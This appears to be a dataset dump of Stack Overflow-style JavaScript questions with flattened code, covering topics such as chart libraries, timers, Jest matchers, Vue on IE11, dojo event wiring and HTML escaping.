withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ) in defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ( created by withPropsOnChange ( defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ) ) in withPropsOnChange ( defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ) ( created by defaultProps ( withPropsOnChange ( defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ) ) ) in defaultProps ( withPropsOnChange ( defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ) ) ( created by withPropsOnChange ( defaultProps ( withPropsOnChange ( defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ) ) ) ) in withPropsOnChange ( defaultProps ( withPropsOnChange ( defaultProps ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( withPropsOnChange ( pure ( Bar ) ) ) ) ) ) ) ) ) ) ) ) ) ( created by Bar ) in Bar ( at Chart.js:6 ) in div ( at Chart.js:5 ) in Chart ( at smartSpy.tsx:276 ) in div ( at smartSpy.tsx:275 ) in div ( at smartSpy.tsx:274 ) in div ( at smartSpy.tsx:273 ) in div ( at smartSpy.tsx:222 ) in div ( at LayoutExampleEcommerce.js:26 ) in div ( at LayoutExampleEcommerce.js:21 ) in div ( at LayoutExampleEcommerce.js:14 ) in Layout ( at smartSpy.tsx:220 ) in SmartSpy ( at _app.js:8 ) in MyApp in Container ( created by AppContainer ) in AppContainerReact will try to recreate this component tree from scratch using the error boundary you provided , MyApp.console. < computed > @ index.js:1_app.js:7 Uncaught TypeError : Can not read property 'Price ' of undefined at stackValue ( stack.js:7 ) at stack ( stack.js:26 ) at generateVerticalStackedBars ( nivo-bar.esm.js:212 ) at generateStackedBars ( nivo-bar.esm.js:343 ) at Bar ( nivo-bar.esm.js:809 ) at renderWithHooks ( react-dom.development.js:14803 ) at updateFunctionComponent ( react-dom.development.js:17034 ) at beginWork ( react-dom.development.js:18610 ) at HTMLUnknownElement.callCallback ( react-dom.development.js:188 ) at Object.invokeGuardedCallbackDev ( react-dom.development.js:237 ) at invokeGuardedCallback ( react-dom.development.js:292 ) at beginWork $ 1 ( react-dom.development.js:23203 ) at performUnitOfWork ( react-dom.development.js:22154 ) at workLoopSync ( react-dom.development.js:22130 ) at performSyncWorkOnRoot ( react-dom.development.js:21756 ) at react-dom.development.js:11089 at unstable_runWithPriority ( scheduler.development.js:653 ) at runWithPriority $ 1 ( react-dom.development.js:11039 ) at flushSyncCallbackQueueImpl ( react-dom.development.js:11084 ) at flushSyncCallbackQueue ( react-dom.development.js:11072 ) at discreteUpdates $ 1 ( react-dom.development.js:21893 ) at discreteUpdates ( react-dom.development.js:806 ) at dispatchDiscreteEvent ( react-dom.development.js:4168 )",Filter data going through Nivo Bar Chart "JS : I am very new to JavaScript and programming in general . I am currently in a little pickle with some code that I am playing around with , and I am wondering if anyone can give me some advice.Background : The code I am working with is rather simple ; There is a clock with the current time running on setInterval to update by the second . Below the clock there is a button that reads “ Stop , ” and when pressed , it will clear the Interval and the button will then read “ Start. ” If the button , which reads “ Start ” is pressed again , it will continue the clock timer in its current time . So basically this one button toggles the interval of the clock , and depending on which state it is , the button will read “ Start ” or “ Stop. ” W3Schools : JS Timing is where I am originally referencing when creating the code I am working with . This is where I am learning about how setInterval and clearInterval works . I also took some of the code in the examples and adjusted it so I can try to make the clock timer toggle off and on.Code : https : //jsfiddle.net/dtc84d78/Problem : So my problem with the code is that the button toggles from a “ Stop ” button to a “ Start ” button , but the clearInterval is not applying to the Variable with the setInterval.I have googled similar problems in SO , such as this one , and I followed their advice , and still nothing . After hours of trying to figure out , I decided to just copy and paste some example from W3Schools straight to jsFiddle , and that didn ’ t even work ( included in jsfiddle link ) ? I am really just going crazy on why anything with clearInterval ( ) is not working with me ? Could it be my computer , browser or anything else ? I am coming to SO as my last resource , so if anyone can give me some guidance to this problem , I will name my first child after you.Thank you in advance.Extra Info : I am currently working on a Mac desktop , using Komodo to write the code , and I am using Google Chrome to preview the code.UPDATE : I mentioned this in the comments , but coming in the code was in an external .js file . The .js file was then linked in between the head tags , and right before the end body tag . After @ Matz mentioned to stick the clock timer js code in the head section , the code worked great ! This is what it looks like so far in the head section.Though this works great , I now want to figure out as to why the clock timer js code works when it is directly in the head section as compared to keeping it in the external .js file ( with the external file being linked in the doc ) ? What can I do to make it work within the external file ? var clock09 = window.setInterval ( myTimer09 , 1000 ) ; function myTimer09 ( ) { var d = new Date ( ) ; var t = d.toLocaleTimeString ( ) ; document.getElementById ( `` req09 '' ) .innerHTML = `` < h1 > '' + t + `` < /h1 > '' ; } function toggle10 ( ) { var button = document.getElementById ( `` button10 '' ) .innerHTML ; if ( button == `` Stop '' ) { window.clearInterval ( clock09 ) ; document.getElementById ( `` button10 '' ) .innerHTML = `` Start '' ; } else { clock09 = window.setInterval ( myTimer09 , 1000 ) ; document.getElementById ( `` button10 '' ) .innerHTML = `` Stop '' ; } } < span class= '' center '' id= '' req09 '' > < /span > < button type= '' button '' id= '' button10 '' onclick= '' toggle10 ( ) '' class= '' button '' > Stop < /button > < head > < meta charset= '' utf-8 '' / > < title > Program < /title > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' stylesheet '' href= '' css/normalize.css '' > < link rel= '' stylesheet '' href= '' css/program-05.css '' > < script type= '' text/javascript '' src= '' scripts/program-05.js '' > /* < ! [ CDATA [ */ /* ] ] > */ < /script > < /head > < body onload= '' checkCookies ( ) ; setTimeout ( function ( ) { func11 ( ) } , 5000 ) ; '' > . . . code for stuff . . . code for clock timer . . . code for other stuff < script type= '' text/javascript '' src= '' scripts/program-05.js '' > /* < ! [ CDATA [ */ /* ] ] > */ < /script > < /body > < head > < meta charset= '' utf-8 '' / > < title > Program < /title > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' stylesheet '' href= '' css/normalize.css '' > < link rel= '' stylesheet '' href= '' css/program-05.css '' > < script type= '' text/javascript '' src= '' scripts/program-05.js '' > /* < ! [ CDATA [ */ /* ] ] > */ < /script > < script > ///* var clock09 = window.setInterval ( myTimer09 , 1000 ) ; function myTimer09 ( ) { var d = new Date ( ) ; var t = d.toLocaleTimeString ( ) ; document.getElementById ( `` req09 '' ) .innerHTML = `` < h1 > '' + t + `` < /h1 > '' ; } function toggle10 ( ) { var button = document.getElementById ( `` button10 '' ) .innerHTML ; if ( button == `` Stop '' ) { window.clearInterval ( clock09 ) ; document.getElementById ( `` button10 '' ) .innerHTML = `` Start '' ; } else { clock09 = window.setInterval ( myTimer09 , 1000 ) ; document.getElementById ( `` button10 '' ) .innerHTML = `` Stop '' ; } } //*/ < /script > < /head >",clearInterval ( ) not working on clock timer with JavaScript "JS : I have two objects and I want to test a recursive equality using Jest . This is pretty simple : But there is a problem in some cases ; as you know , JavaScript is pretty bad to compute float numbers , so sometimes the test becomes the following : And it does not work anymore . Jest provides the toBeCloseTo test , which takes a number and a precision as parameters , but I would like to know if there is an equivalent for recursive equalities ( something like toEqualCloseTo ) .Thanks for your help ! UpdateI ended up with the following solution : test ( 'should be recursively equal ' , ( ) = > { const test = { x : 0 , y : 0 } const expected = { x : 0 , y : 0 } expect ( test ) .toEqual ( expected ) } ) test ( 'should be recursively equal ' , ( ) = > { const test = { x : 0.00000000001 , y : 0 } const expected = { x : 0 , y : 0 } expect ( test ) .toEqual ( expected ) } ) expect.extend ( { toEqualCloseTo ( received , expected , precision = 3 ) { const { getType } = this.utils function round ( obj ) { switch ( getType ( obj ) ) { case 'array ' : return obj.map ( round ) case 'object ' : return Object.keys ( obj ) .reduce ( ( acc , key ) = > { acc [ key ] = round ( obj [ key ] ) return acc } , { } ) case 'number ' : return +obj.toFixed ( precision ) default : return obj } } expect ( round ( received ) ) .toEqual ( expected ) return { pass : true } } , } )",toBeCloseTo equivalent for recursive equality test in Jest "JS : How can we override one specific value and preserve all other values in box-shadow list like this : Let 's say we want to override only the second value without losing others : Seems like it is possible only when we are copy-pasting the first and the third values too . It is not working not with auto and not with inherit . Is it possible to achieve this only with css or we need to use jQuery or JavaScript ' getComputedStyle method or something ? Here is the playground : http : //jsfiddle.net/cherniv/uspTj/5/P.S . Seems like it is relevant to multiple background images list too.. div { box-shadow : 0 0 0 5px # 00ff00 , 0 0 0 10px # ff0000 , 0 0 0 15px # 0000ff ; } div.with-another-shadow { box-shadow : ? ? ? , 0 0 0 5px # abcdef , ? ? ? ; }",CSS - Change specific box-shadow in box-shadows list "JS : When using Handsontable , it seems hard to retrieve the header of a row from a contextual menu.Consider the following data source : It is possible to create a Handsontable instance that displays all of the data but the first two `` columns '' , and that has a contextual menu as following : The options parameter from the context menu callback is made of two objects , start and end , both having a row and a col property.Let 's keep it simple and assume there will always be a single cell selected : start and end are the same object.It is then possible to retrieve the header from the data source ( and not the data bound to the instance ) using Handsontable 's method getSourceDataAtRow.This could do the trick , but when the table has been sorted by clicking on a column header , the row number from the data source and the data bound to the instance are no longer the same.Here is an example that shows what the problem is.It is impossible to retrieve one of the two first elements of a row once the table has been sorted.Did I miss somthing ? var data = function ( ) { return [ [ `` 1212 '' , `` roman '' , `` i '' , `` ii '' , `` iii '' ] , [ `` 3121 '' , `` numeric '' , 1 , 2 ,3 ] , [ `` 4126 '' , `` alpha '' , ' a ' , ' b ' , ' c ' ] ] ; } ; // Settings to display all columns but the first twovar dataCols = [ ] for ( var i=2 ; i < data ( ) [ 0 ] .length ; i++ ) { dataCols.push ( { data : i } ) } // Instance creationvar hot = new Handsontable ( container , { data : data ( ) , height : 396 , colHeaders : true , rowHeaders : false , columns : dataCols , stretchH : 'all ' , columnSorting : true , contextMenu : { callback : function ( key , options ) { switch ( key ) { case 'header_pls ' : // TODO retrieve the `` hidden header '' from here break ; } } , items : { `` header_pls '' : { name : `` Header please ? '' } } } , } ) ;",Retrieving a hidden header inside a sorted handsontable instance JS : I need to merge direct html siblings into just one in page code including text nodes.This is actualy output after editing the code using rangy and jQuery and i need to clear it after the editing so it will look like this : I would like to use jQuery to do this . I am aware of functions unwrap ( ) and wrapAll ( ) but i cant combine them effectively.Thanks for any clue or help ! < div > some text < b > some text < /b > some text < b > text < /b > < b > more text < /b > some text < /div > < div > some text < b > some text < /b > some text < b > text more text < /b > some text < /div >,Merge direct HTML siblings into one in jQuery "JS : In AngularJS these two controller declarations are equivalent : Both $ http and $ scope will be the correct variables no matter what order they are in . i.e . the variable named $ http will always be passed an instance of the $ http service . How does Angular know which objects to pass in and in what order ? I thought this kind of reflection was not possible with javascript . function BlahCtrl ( $ scope , $ http ) { ... } function BlahCtrl ( $ http , $ scope ) { ... }",How to identify names of arguments to a function in javascript ? "JS : On my site I have a menu that has certain functionalities and animation : On mouse rollover there 's a change in opacity for all elements of the menu except the one that is hovered above.When clicking on an element , it 's marked by keeping its color and reducing the opacity of non-clicked elements.Now these functions are working great , however the problem is that they can be all activated by clicking/hovering around the menu and above it , and not only on the elements.Can it be fixed so that all the functions ( without changing them ) are activated just by clicking on an element in the menu ? JSFIDDLE : https : //jsfiddle.net/atkumqpk/16/HTML of the menu : < div id= '' menu '' class= '' menu '' > < ul class= '' headlines '' > < li id= '' item1 '' > < button > aaaaaaaa < /button > < /li > < li id= '' item2 '' > < button > bbbbbbb < /button > < /li > < /ul > < /div >",Activate the menu only by clicking on the elements "JS : I 'm using a Gauge chart based on ( Chartjs-tsgauge ) .I want to set background colors for chart separate from gauge limits . The problem with how Charts.JS renders background because the plugin I used does n't have a code about backgrounds.For example , I have a Gauge with limits [ 0 , 20 , 40 , 60 , 80 , 100 ] . I want to set [ 0-30 ] to green , [ 30-70 ] to yellow and [ 70-100 ] to red.Current code : CodePENHere is my current options.And here is my approach for setting background colors.Currently Chart.JS matches colors 0 to i with limits 0 to i.I also thought drawing another dummy chart with desired colors and set it on top of the real chart but it seems dodgy way of doing this . var ctx = document.getElementById ( `` canvas '' ) .getContext ( `` 2d '' ) ; new Chart ( ctx , { type : `` tsgauge '' , data : { datasets : [ { backgroundColor : [ `` # 0fdc63 '' , `` # fd9704 '' , `` # ff7143 '' ] , borderWidth : 0 , gaugeData : { value : 7777 , valueColor : `` # ff7143 '' } , gaugeLimits : [ 0 , 3000 , 7000 , 10000 ] } ] } , options : { events : [ ] , showMarkers : true } } ) ; new Chart ( ctx , { type : `` tsgauge '' , data : { datasets : [ { backgroundColor : [ `` # 0fdc63 '' , `` # fd9704 '' , `` # ff7143 '' ] , borderWidth : 0 , gaugeData : { value : 50 , valueColor : `` # ff7143 '' } , gaugeLimits : [ 0 , 20 , 40 , 60 , 80 , 100 ] , gaugeColors : [ { min : 0 , max : 30 , color : `` '' } , { min : 30 , max : 70 , color : `` '' } , { min:70 , max:100 , color : `` '' } ] } ] } , options : { events : [ ] , showMarkers : true } } ) ;",Custom background limits for Doughnut ( Gauge ) "JS : I 've started using the intern library to write functional tests in js , and I realized that I could n't understand this syntax : What is the purpose of the ! character in the argument of the require ( ) method ? var assert = require ( 'intern/chai ! assert ' ) ; var registerSuite = require ( 'intern ! object ' ) ;",What does the `` ! '' character do in nodejs module names ? "JS : I have a project in vuejs + vuetify , the project is running fine on chrome browser but when I run the project on Internet Explorer 11 It only shows me the session pages and when i hit the login button it gives me this error Unhandled promise rejection SyntaxError : Expected ' : 'in console and I have to hit the login button twice to enter the app . Here I do not see the main content of page , only sidebar menu gets displayed and the main content is not renderd and I again get an error in my console which is Unhandled promise rejection NavigationDuplicated : Navigating to current location ( /dashboard/home/something ) is not allowedThis is my package.jsonThis is how I am importing babel-polyfill in my main.jsbabel.config.jsvue.config.js `` dependencies '' : { `` @ types/leaflet '' : `` ^1.5.1 '' , `` algoliasearch '' : `` ^3.33.0 '' , `` amcharts3 '' : `` ^3.21.14 '' , `` auth0-js '' : `` ^9.11.3 '' , `` axios '' : `` ^0.19.0 '' , `` babel-polyfill '' : `` ^6.26.0 '' , `` chart.js '' : `` ^2.8.0 '' , `` echarts '' : `` ^4.2.1 '' , `` firebase '' : `` ^6.4.2 '' , `` instantsearch.css '' : `` ^7.3.1 '' , `` jquery '' : `` ^3.4.1 '' , `` leaflet '' : `` ^1.4.0 '' , `` moment '' : `` ^2.22.2 '' , `` nprogress '' : `` ^0.2.0 '' , `` screenfull '' : `` ^4.2.1 '' , `` slick-carousel '' : `` ^1.8.1 '' , `` velocity-animate '' : `` ^1.5.2 '' , `` vue '' : `` ^2.6.10 '' , `` vue-chartjs '' : `` ^3.4.2 '' , `` vue-count-to '' : `` ^1.0.13 '' , `` vue-croppa '' : `` ^1.3.8 '' , `` vue-draggable-resizable '' : `` ^2.0.0-rc1 '' , `` vue-echarts '' : `` ^4.0.3 '' , `` vue-fullcalendar '' : `` ^1.0.9 '' , `` vue-fullscreen '' : `` ^2.1.5 '' , `` vue-i18n '' : `` ^8.14.0 '' , `` vue-instantsearch '' : `` ^2.3.0 '' , `` vue-loading-spinner '' : `` ^1.0.11 '' , `` vue-notification '' : `` ^1.3.16 '' , `` vue-perfect-scrollbar '' : `` ^0.2.0 '' , `` vue-quill-editor '' : `` ^3.0.6 '' , `` vue-radial-progress '' : `` ^0.2.10 '' , `` vue-resource '' : `` ^1.5.1 '' , `` vue-router '' : `` ^3.1.2 '' , `` vue-slick '' : `` ^1.1.15 '' , `` vue-star-rating '' : `` ^1.6.1 '' , `` vue-tour '' : `` ^1.1.0 '' , `` vue-video-player '' : `` ^5.0.2 '' , `` vue-wysiwyg '' : `` ^1.7.2 '' , `` vue2-breadcrumbs '' : `` ^2.0.0 '' , `` vue2-dragula '' : `` ^2.5.4 '' , `` vue2-dropzone '' : `` ^3.6.0 '' , `` vue2-google-maps '' : `` ^0.10.7 '' , `` vue2-leaflet '' : `` ^2.2.1 '' , `` vuedraggable '' : `` ^2.20.0 '' , `` vuetify '' : `` ^2.0.11 '' , `` vuex '' : `` ^3.0.1 '' , `` weather-icons '' : `` ^1.3.2 '' , `` webpack '' : `` ^4.39.3 '' } , `` devDependencies '' : { `` @ vue/cli-plugin-babel '' : `` ^3.11.0 '' , `` @ vue/cli-service '' : `` ^3.11.0 '' , `` deepmerge '' : `` ^4.0.0 '' , `` fibers '' : `` ^4.0.1 '' , `` sass '' : `` ^1.22.10 '' , `` sass-loader '' : `` ^7.3.1 '' , `` vue-template-compiler '' : `` ^2.6.10 '' } import 'babel-polyfill ' ; import Vue from 'vue'import vuetify from ' @ /plugins/vuetify'import * as VueGoogleMaps from 'vue2-google-maps'import { Vue2Dragula } from 'vue2-dragula'import VueQuillEditor from 'vue-quill-editor'import wysiwyg from 'vue-wysiwyg'import VueBreadcrumbs from 'vue2-breadcrumbs ' module.exports = { presets : [ [ `` @ vue/app '' , { modules : `` commonjs '' } ] ] } const path = require ( 'path ' ) ; const webpack = require ( 'webpack ' ) ; module.exports = { publicPath : process.env.NODE_ENV == 'production ' ? '/ ' : '/ ' , css : { sourceMap : true } , productionSourceMap : false , transpileDependencies : [ /\/node_modules\/vuetify\// , /\/node_modules\/vue-echarts\// , /\/node_modules\/resize-detector\// ] , configureWebpack : { resolve : { alias : { Api : path.resolve ( __dirname , 'src/api/ ' ) , Components : path.resolve ( __dirname , 'src/components/ ' ) , Constants : path.resolve ( __dirname , 'src/constants/ ' ) , Container : path.resolve ( __dirname , 'src/container/ ' ) , Views : path.resolve ( __dirname , 'src/views/ ' ) , Helpers : path.resolve ( __dirname , 'src/helpers/ ' ) , Themes : path.resolve ( __dirname , 'src/themes/ ' ) } , extensions : [ '* ' , '.js ' , '.vue ' , '.json ' ] } , plugins : [ //jquery plugin new webpack.ProvidePlugin ( { $ : 'jquery ' , jquery : 'jquery ' , 'window.jQuery ' : 'jquery ' , jQuery : 'jquery ' } ) ] } }",Unhandled promise rejection SyntaxError : Expected ' : ' getting this on IE11 with vuejs+ vuetify project "JS : I 'm creating a json data with a click event . then i am trying to send the json data to my php script via ajax and alert a response . But i 'm unable to send the json data to my php script . its returning NUll . jquery script : PHP SCRIPTUnable to get use data on php script and the php returning NULL reponse var jsonObj = [ ] ; $ ( `` # additembtn '' ) .click ( function ( event ) { event.preventDefault ( ) ; var obj = { } ; obj [ `` medicine_name '' ] =parsed.medicine_name ; obj [ `` quantity '' ] =unit ; obj [ `` price '' ] =price ; jsonObj.push ( obj ) ; console.log ( jsonObj ) ; } ) $ ( `` # order '' ) .click ( function ( event ) { event.preventDefault ( ) ; $ jsonObj=JSON.stringify ( jsonObj ) $ .ajax ( { url : `` ../siddiqa/function/ordermedicine.php '' , type : `` POST '' , //dataType : `` json '' , data : jsonObj , success : function ( data , textStatus , jqXHR ) { alert ( data ) ; } , error : function ( jqXHR , textStatus , errorThrown ) { //if fails } } ) } ) < ? phprequire_once ( '../configuration.php ' ) ; $ con=new mysqli ( $ hostname , $ dbusername , $ dbpass , $ dbname ) ; if ( mysqli_connect_errno ( $ con ) ) { die ( 'The connection to the database could not be established . ' ) ; } $ obj = json_decode ( $ _POST [ 'jsonObj ' ] ) ; echo $ obj [ 'medicine_name ' ] ; ? >",unable to send json data via ajax "JS : I have some problems with a great circle distance calculation using a map.Context : http : //airports.palzkill.de/search/The map is supposed to work as a great circle distance search map - you move the circles center marker or the radius marker , and the circle gets smaller or larger . For debug purposes , the boxes title field shows the calculated distance in km.This only works fine as long as the circle center is close to 0/0 , and the radius marker is not too far away from it . The more you move either of the markers to `` extremes '' , the more off some tangent the whole thing goes and produces nothing but crap.This is the code used for calculating the updates , you can also find the entire code in the JS file js.js , lines 146 to 184 : Since the whole thing does calculate some correct output I assume the math itself is not totally wrong , I guess there is just some `` correctional '' stuff missing ? Unfortunately I am absolutely lousy at trigonometry , so I dont have a clue what might be wrong here , or even where to start searching for ideas about how to fix it.MarcoP.S . : I know that due to the spherical nature of the projection , the whole thing has to act `` counter-intuitive '' around the poles . But that doesnt really explain what happens when you move both markers close to the date line around the equator ( 0/179 , 0/-179 ) . function searchmapupdate ( ) { rad_lat_radiuspos = ( circleradiusmarker.getPosition ( ) .lat ( ) *Math.PI/180 ) ; rad_lon_radiuspos = ( circleradiusmarker.getPosition ( ) .lng ( ) *Math.PI/180 ) ; rad_lat_circlecenter = ( circlecentermarker.getPosition ( ) .lat ( ) *Math.PI/180 ) ; rad_lon_circlecenter = ( circlecentermarker.getPosition ( ) .lng ( ) *Math.PI/180 ) ; circleradiusvar = Math.acos ( Math.sin ( rad_lat_circlecenter ) *Math.sin ( rad_lat_radiuspos ) +Math.cos ( rad_lat_circlecenter ) *Math.cos ( rad_lon_radiuspos ) *Math.cos ( rad_lon_circlecenter-rad_lon_radiuspos ) ) *6371.01*1000 ; if ( isNaN ( circleradiusvar ) ==false ) circle.setOptions ( { center : circlecentermarker.getPosition ( ) , radius : circleradiusvar } ) ; document.getElementById ( `` mapsearchhead '' ) .innerHTML = Math.round ( circleradiusvar/1000 ) ; }",Weird Great Circle Distance calculation "JS : How to Set Add/remove in all text-box id Auto increment ( ItemCode , ItemName Add To +1 And Remove to -1 . ) https : //jsfiddle.net/Nilesh_Patel/05e3wtcm/1/ here example < div id= '' mainDiv '' > < div class= '' one '' > < div class= '' row '' > < div class= '' input-field col s1 '' > < input type= '' text '' id= '' sno '' class= '' sno '' name= '' Sr [ ] '' value= '' 1 '' > < label for= '' Sr '' > Sr < /label > < /div > < div class= '' input-field col s2 '' > < input id= '' ItemCode '' type= '' text '' name= '' ItemCode [ ] '' onKeyUp= '' showHint ( this.value ) '' > < label for= '' ItemCode '' > Item Code < /label > < /div > < div class= '' input-field col s2 '' > < input id= '' ItemName '' type= '' text '' name= '' ItemName [ ] '' value= '' `` > < label for= '' ItemName '' > Item Name < /label > < /div > < div class= '' input-field col s1 add '' > < a href= '' # '' > Add < /a > < /div > < div class= '' input-field col s1 delete '' > < a href= '' # '' > Remove < /a > < /div > < /div > < /div > < /div > $ ( document ) .ready ( function ( ) { $ ( `` .add '' ) .click ( function ( ) { var length = $ ( '.one ' ) .length ; var cloned = $ ( this ) .closest ( '.one ' ) .clone ( true ) ; cloned.appendTo ( `` # mainDiv '' ) .find ( '.sno ' ) .val ( length + 1 ) ; cloned.find ( ' : input : not ( `` .sno '' ) ' ) .val ( `` `` ) ; var parent = $ ( this ) .closest ( '.one ' ) ; } ) ; $ ( '.delete ' ) .click ( function ( ) { if ( $ ( '.one ' ) .length==1 ) { alert ( `` This is default row and ca n't deleted '' ) ; return false ; } var parent = $ ( this ) .closest ( '.one ' ) ; $ ( this ) .parents ( `` .one '' ) .remove ( ) ; // reset serial numbers again $ ( '.sno ' ) .each ( function ( i ) { this.value=i+1 ; } ) } ) ; } ) ;",add/remove all textbox id increment "JS : I am working on a web page that uses dojo and has a number ( 6 in my test case , but variable in general ) of project widgets on it . I 'm invoking dojo.addOnLoad ( init ) , and in my init ( ) function I have these lines : and change events for my project widgets properly invoke the makeMatch function . But if I replace them with a loop : same makeMatch ( ) function , same init ( ) invocation , same everything else - just rolling my calls up into a loop - the makeMatch function is never called ; the objects are not wired.What 's going on , and how do I fix it ? I 've tried using dojo.query , but its behavior is the same as the for loop case . dojo.connect ( dijit.byId ( `` project '' + 0 ) .InputNode , `` onChange '' , function ( ) { makeMatch ( 0 ) ; } ) ; dojo.connect ( dijit.byId ( `` project '' + 1 ) .InputNode , `` onChange '' , function ( ) { makeMatch ( 1 ) ; } ) ; dojo.connect ( dijit.byId ( `` project '' + 2 ) .InputNode , `` onChange '' , function ( ) { makeMatch ( 2 ) ; } ) ; dojo.connect ( dijit.byId ( `` project '' + 3 ) .InputNode , `` onChange '' , function ( ) { makeMatch ( 3 ) ; } ) ; dojo.connect ( dijit.byId ( `` project '' + 4 ) .InputNode , `` onChange '' , function ( ) { makeMatch ( 4 ) ; } ) ; dojo.connect ( dijit.byId ( `` project '' + 5 ) .InputNode , `` onChange '' , function ( ) { makeMatch ( 5 ) ; } ) ; for ( var i = 0 ; i < 6 ; i++ ) dojo.connect ( dijit.byId ( `` project '' + i ) .InputNode , `` onChange '' , function ( ) { makeMatch ( i ) ; } ) ;",Why ca n't I roll a loop in Javascript ? "JS : I have a knockout sortable list with knockout sortable lists inside it . Essentially it is the basic 'available student ' example ( http : //jsfiddle.net/rniemeyer/UdXr4/ ) , only I want the tables to be sortable as well . I have this working mostly , but I have a problem with being able to drag tables into other tables.I was able to add an allowDrop function on the table list to prevent students from being dropped into the table list , so I was hoping to have something similar on the student lists that would n't allow a table in , but for the life of me I can not figure it out . Ive tried looking at the id , or even seeing if the gender property is available ( because it should only be on students ) to no avail ... Ive edited a jsfiddle to make it more similar to my situation ; you 'll see if you drag a table you can drop it into another table.http : //jsfiddle.net/nYSLq/1/Any help or suggestions would be greatly appreciated . this.isTable = function ( arg ) { return arg.sourceParent ! = undefined ; } ;",How to prevent knockout nested sortable from allowing drop in sub list ? "JS : This works just fine , but when we use let instead of var , it does not work . Why ? function foo ( str , a ) { eval ( str ) ; console.log ( a , b ) ; } foo ( `` var b = 3 ; '' , 1 ) ;",why let keyword does not work with eval ( ) "JS : I use node.js on server side , express.js and jade . I have written a small wrapper function to fill jade templates on the client side . I think I 'll use requireJS and jQuery on client side , but have not decided yet . Now , the task that I have to do many times isfetch a template ( from server or cache ) fetch data from serverfill the template and insert it into/instead an elementNote : there are tons of template engines , and my question is not about a template engine , but about an easy workflow.I have to do it this way : ( in this example , the template and data are fetched synchronously , which is not nice ) I 'd like to have a code like this : ( it 's similar to MongoDB syntax ) Is there a simple framework or a jquery module to do this work ? var get_data = function ( tpl ) { $ .get ( url , function ( data ) { $ ( ' # target_element ' ) .html ( jade.render ( tpl , { locals : data } ) ) ; } ) ; } ; if ( ! 'template_name ' in _cache ) { $ .get ( 'template_name ' , function ( tpl ) { _cache [ 'template_name ' ] = tpl ; get_data ( tpl ) ; } ) ; } else { get_data ( _cache [ 'template_name ' ] ) ; } render_template ( 'template_name ' , 'url ? arguments=values ' , { replace : ' # element_id ' } ) ;",A client-side JS framework with templates and caching ? "JS : I want to implement a sort of Glossary in a Velocity template ( using Javascript ) . The following is the use case : there are a large number of items whose description may contain references to predefined termsthere is a list of terms which are defined - > allGlossaryI want to automatically find and mark all items in the allGlossary list that appear in the description of all my itemsExample : allGlossary = [ `` GUI '' , '' RBG '' , '' fine '' , '' Color Range '' ] Item Description : The interface ( GUI ) shall be generated using only a pre-defined RGB color range . After running the script , I would expect the Description to look like this : `` The interface ( GUI ) shall be generated using only a pre-defined RGB Color Range . `` NOTE : even though `` fine '' does appear in the Description ( defined ) , it shall not be marked.I thought of splitting the description of each item into words but then I miss all the glossary items which have more than 1 word . My current idea is to look for each item in the list in each of the descriptions but I have the following limitations : I need to find only matches for the exact items in the 2 lists ( single and multiple words ) The search has to be case insensitiveItems found may be at the beginning or end of the text and separated by various symbols : space , comma , period , parentheses , brackets , etc.I have the following code which works but is not case-insensitive : Can someone please help with making this case-insensitive ? Or does anyone have a better way to do this ? Thanks ! UPDATE : based on the answer below , I tried to do the following in my Velocity Template page : The issue is that if I try to display the whole allGlossary Array , it contains the correct elements . As soon as I try to display just one of them ( as in the example ) , I get the error Uncaught SyntaxError : missing ) after argument list . # set ( $ desc = $ item.description ) # foreach ( $ g in $ allGlossary ) # set ( $ desc = $ desc.replaceAll ( `` \b $ g\b '' , `` * $ g* '' ) ) # end # # foreach # set ( $ allGlossary = [ `` GUI '' , '' RGB '' , '' fine '' , '' Color Range '' ] ) # set ( $ itemDescription = `` The interface ( GUI ) shall be generated using only a pre-defined RGB color range . `` ) < script type= '' text/javascript '' > var allGlossary = new Array ( ) ; var itemDescription = `` $ itemDescription '' ; < /script > # foreach ( $ a in $ allGlossary ) < script type= '' text/javascript '' > allGlossary.push ( `` $ a '' ) ; console.log ( allGlossary ) ; < /script > # end # # foreach < script type= '' text/javascript '' > console.log ( allGlossary [ 0 ] ) ; < /script >",Velocity RegEx for case insensitive match "JS : I spent some time looking best way to escape html string and found some discussions on that : discussion 1 discussion 2 . It leads me to replaceAll function . Then I did performance tests and tried to find solution achieving similar speed with no success : ( Here is my final test case set . I found it on net and expand with my tries ( 4 cases at bottom ) and still can not reach replaceAll ( ) performance . What is secret witch makes replaceAll ( ) solution so speedy ? Greets ! Code snippets : credits for qwertyFastest case so far : String.prototype.replaceAll = function ( str1 , str2 , ignore ) { return this.replace ( new RegExp ( str1.replace ( / ( [ \/\ , \ ! \\\^\ $ \ { \ } \ [ \ ] \ ( \ ) \.\*\+\ ? \|\ < \ > \-\ & ] ) /g , '' \\ $ & '' ) , ( ignore ? `` gi '' : '' g '' ) ) , ( typeof ( str2 ) == '' string '' ) ? str2.replace ( /\ $ /g , '' $ $ $ $ '' ) : str2 ) ; } ; html.replaceAll ( ' & ' , ' & amp ; ' ) .replaceAll ( ' '' ' , ' & quot ; ' ) 